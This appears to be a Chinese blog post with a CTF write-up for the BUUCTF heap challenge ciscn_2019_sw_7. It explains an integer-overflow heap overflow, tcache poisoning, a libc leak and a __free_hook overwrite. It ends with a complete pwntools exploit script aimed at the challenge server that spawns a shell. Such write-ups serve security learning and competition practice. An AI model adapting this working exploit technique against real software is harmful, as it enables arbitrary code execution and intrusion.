(BUUCTF)ciscn_2019_sw_7

文章描述了一次针对Ciscn_2019_Sw_7的攻击,利用整数溢出漏洞实现堆溢出,通过tcachepoisoning劫持结构,最终获取libc地址的详细过程。
摘要由CSDN通过智能技术生成

前置知识

  • 堆溢出
  • tcache_perthread_struct hijacking
  • 重叠指针构建

整体思路

read中有一个整数溢出, 假如输入的size小于等于0,那么在输入内容的时候会将一个有符号整数和无符号整数进行比较,如下:

image-20240108114036217

这会使得有符号整数被强制类型转换为无符号整数,从而导致负数会被转换为一个非常大的正数,从而实现一个几乎无限大小的堆溢出。因此我们通过输入size0chunk,即可申请一个实际大小为0x20但是可以输入无限长度的chunk

通过堆溢出我们可以相当简单地实现tcache poisoning,但是在这之前的泄露libc地址是这道题唯一难一点的地方。

这里我的方法是:通过tcache poisoning来劫持tcache_perthread_struct,使得大小为0x90以上的chunk只能被分配到unsortedbin

然后通过分配三个chunk,第一个的size0,第二个的size0x60(实际为0x70),第三个的size0

通过第一个chunk来修改第二个chunksize0x90(即第二个加第三个),然后将其释放,即可使其置入unsortedbin

申请回size0x60(实际为0x70)的chunk,即可使得main_arena+x的指针被置入原本构造的第三个chunk,获得libc地址。

然后打tcache_perthread_struct即可。

exp

from pwn import *
from LibcSearcher import *

filename = './ciscn_2019_sw_7'
context(log_level='debug')
local = 0
all_logs = []
elf = ELF(filename)
libc = ELF('/glibc/2.27-3ubuntu1_amd64/libc.so.6')



def debug():
    for an_log in all_logs:
        success(an_log)
    pid = util.proc.pidof(sh)[0]
    gdb.attach(pid)
    pause()

choice_words = '> '

menu_add = 1
add_index_words = ''
add_size_words = 'The size of note:'
add_content_words = 'The content of note:'

menu_del = 4
del_index_words = 'Index:'

menu_show = 2
show_index_words = 'Index:'

menu_edit = 4
edit_index_words = 'Idx: '
edit_size_words = ''
edit_content_words = ''

def add(index=-1, size=-1, content=''):
    sh.sendlineafter(choice_words, str(menu_add))
    if add_index_words:
        sh.sendlineafter(add_index_words, str(index))
    if add_size_words:
        sh.sendlineafter(add_size_words, str(size))
    if add_content_words:
        sh.sendafter(add_content_words, content)

def delete(index=-1):
    sh.sendlineafter(choice_words, str(menu_del))
    if del_index_words:
        sh.sendlineafter(del_index_words, str(index))

def show(index=-1):
    sh.sendlineafter(choice_words, str(menu_show))
    if show_index_words:
        sh.sendlineafter(show_index_words, str(index))

def edit(index=-1, size=-1, content=''):
    sh.sendlineafter(choice_words, str(menu_edit))
    if edit_index_words:
        sh.sendlineafter(edit_index_words, str(index))
    if edit_size_words:
        sh.sendlineafter(edit_size_words, str(size))
    if edit_content_words:
        sh.sendafter(edit_content_words, content)

def leak_info(name, addr):
    output_log = '{} => {}'.format(name, hex(addr))
    all_logs.append(output_log)
    success(output_log)


def exp():
    add(size=0, content='aaa\n') # 0
    add(size=0, content='bbb\n') # 1
    add(size=0, content='ccc\n') # 2
    add(size=0x0, content='ddd\n') # 3
    add(size=0x60, content='zzz\n') # 4
    add(size=0x0, content='zzz\n') # 5
    add(size=0, content='aaa\n') # 6
    delete(index=2)
    delete(index=1)
    delete(index=0)
    payload = b'a'*0x10 + p64(0x21) + p8(0) + b'\n'
    add(size=0, content=payload) # 0
    add(size=0, content='bbb\n') # 1
    # debug()
    payload = p64(0x251) + b'\x00'*5 +  b'\xff'*0x10 + b'\n'
    add(size=0, content=payload) # 2, tcache_perthread_struct - 0x10
    # debug()
    delete(index=3)
    payload = b'a'*0x10 + p64(0x91)
    add(size=0, content=payload + b'\n') # 3
    delete(index=4)
    add(size=0x60, content='zzz\n') # 4
    show(index=5)
    libc_leak = u64(sh.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
    leak_info('libc_leak', libc_leak)
    libc.address = libc_leak - 0x3ebca0
    leak_info('libc.address', libc.address)

    add(size=0, content='zzz\n') # 7, 和5重叠
    delete(index=5)
    delete(index=3)
    payload = b'a'*0x10 + p64(0x71) + b'a'*0x60 + p64(0) + p64(0x21) + p64(libc.sym['__free_hook'] - 8)
    add(size=0, content=payload + b'\n') # 3
    add(size=0, content='zzz\n') # 5
    one_gadget = [0x4f2c5, 0x4f322, 0x10a38c]
    add(size=0, content= p64(libc.address + one_gadget[1]) + b'\n') # 8
    delete(index=3)
    sh.interactive()
    # debug()


while True:
    if local:
        sh = process(filename)
    else:
        sh = remote('node5.buuoj.cn', 28701)

    try:
        exp()
    except:
        sh.close()
        continue

参考内容

ciscn_2019_sw_7-CSDN博客

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值